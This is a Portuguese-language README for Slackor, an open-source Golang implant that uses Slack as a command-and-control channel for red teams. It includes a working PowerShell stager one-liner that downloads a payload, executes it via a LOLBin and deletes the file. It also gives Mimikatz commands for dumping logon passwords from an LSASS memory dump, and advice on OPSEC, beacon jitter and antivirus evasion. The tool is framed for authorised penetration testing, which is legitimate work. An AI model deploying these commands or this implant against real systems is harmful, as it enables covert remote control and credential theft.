
Um implante Golang que usa o Slack como servidor de comando e controle
Mantido em https://github.com/n00py/Slackor
Um implant em Golang que usa o Slack como canal de comando e controle.
Este projeto foi inspirado por Gcat e Twittor.
Esta ferramenta é lançada como prova de conceito. Certifique-se de ler e compreender a Política de Desenvolvedor de Apps do Slack antes de criar qualquer app Slack.
Nota: O servidor é escrito em Python 3
Para que isso funcione você precisa:
Um Workspace do Slack
Registrar um app com as seguintes permissões:
Criar um bot
Este repositório contém cinco arquivos:
install.sh Instala dependênciassetup.py O script para criar os canais do Slack, banco de dados e implantagent.py Script para gerar novos implantsserver.py O servidor Slackor, projetado para ser executado no Linuxagent.go O implant em Golangrequirements.txt Dependências Python (instaladas automaticamente)Para começar:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
Após executar o script com sucesso, vários arquivos serão criados no diretório dist/:
agent.windows.exe: Binário Windows 64 bitsagent.upx.exe: Binário Windows 64 bits, empacotado com UPXagent.darwin: Binário macOS 64 bitsagent.32.linux: Binário Linux 32 bitsagent.64.linux: Binário Linux 64 bitsApós iniciar server.py em um host Linux, execute o agente apropriado para seu host alvo.
Execute o módulo "stager" para gerar um one-liner e outros droppers.
powershell.exe iwr [URL] -o C:\Users\Public\[NOME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NOME]; timeout 2; del C:\Users\Public\[NOME].exe
Isto executará InvokeWebRequest (PS v.3+) para baixar o payload, executá-lo usando um LOLBin e, em seguida, excluir a si mesmo após ser encerrado. Este é um exemplo funcional, mas o comando pode ser ajustado para usar outro método de download ou execução.
Digite "help" ou pressione [TAB] para ver uma lista de comandos disponíveis. Digite "help [COMANDO]" para ver uma descrição desse comando.
(Slackor)
Assim que um agente fizer check-in, você pode interagir com ele. Use "interact [AGENTE]" para entrar em um prompt do agente. Digite "help" ou pressione [TAB] para ver uma lista de comandos disponíveis.
(Slackor:AGENTE)
A saída dos comandos e os arquivos baixados são criptografados com AES, além da criptografia de transporte TLS do Slack.
Os módulos avisarão antes de executar tarefas que gravam no disco.
Ao executar comandos de shell, lembre-se de que cmd.exe/bash serão executados. Isso pode ser monitorado no host.
Aqui estão vários comandos seguros para OPSEC que NÃO executarão cmd.exe/bash:
É seguro usar para red teams/pentests?
Sim, sob algumas condições. Embora os dados sejam criptografados em trânsito, o agente contém a chave para descriptografia. Qualquer pessoa que adquira uma cópia do agente pode fazer engenharia reversa e extrair as chaves da API e a chave secreta AES. Qualquer pessoa que comprometa ou obtenha acesso ao workspace poderá recuperar todos os dados nele contidos. Por esse motivo, não é recomendado reutilizar a infraestrutura contra múltiplas organizações.
E o Mimikatz?
O implant não possui funcionalidade de despejo de senhas em memória. Se você precisar de logonPasswords, pode tentar o seguinte:
(Slackor: AGENTE)minidump
Isso extrairá automaticamente as senhas com Pypykatz. Alternativamente, você pode usar o Mimikatz no Windows.
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
É multiplataforma?
Tem suporte multiplataforma limitado. Não foi totalmente testado em todos os sistemas nos quais pode ser executado. O servidor foi projetado para ser executado no Kali Linux. O agente é compilado para Windows, Mac e Linux, mas foi principalmente testado no Windows 10. Agentes podem lidar incorretamente com comandos não suportados pela plataforma do agente (não tente fazer minidump em um Mac).
Qual a escalabilidade?
A escalabilidade é limitada pela API do Slack. Se você tiver vários agentes, considere aumentar o intervalo de beacon dos beacons não utilizados.
É vulnerável à análise padrão de beacons?
Atualmente, cada beacon possui 20% de jitter embutido, e os tempos de beacon podem ser personalizados. Os pacotes de requisição e resposta de check-in do agente terão aproximadamente o mesmo tamanho a cada vez, desde que nenhum novo comando seja recebido.
Por que você fez [x] quando uma maneira melhor de fazer isso é [y]?
Tentei o meu melhor. PRs são bem-vindos :)
É detectado por AV!
Com isso sendo open source agora, é inevitável que haja problemas. Vou corrigir módulos conforme possível, mas não há garantia de que isso bypassará todos os AVs em todos os momentos.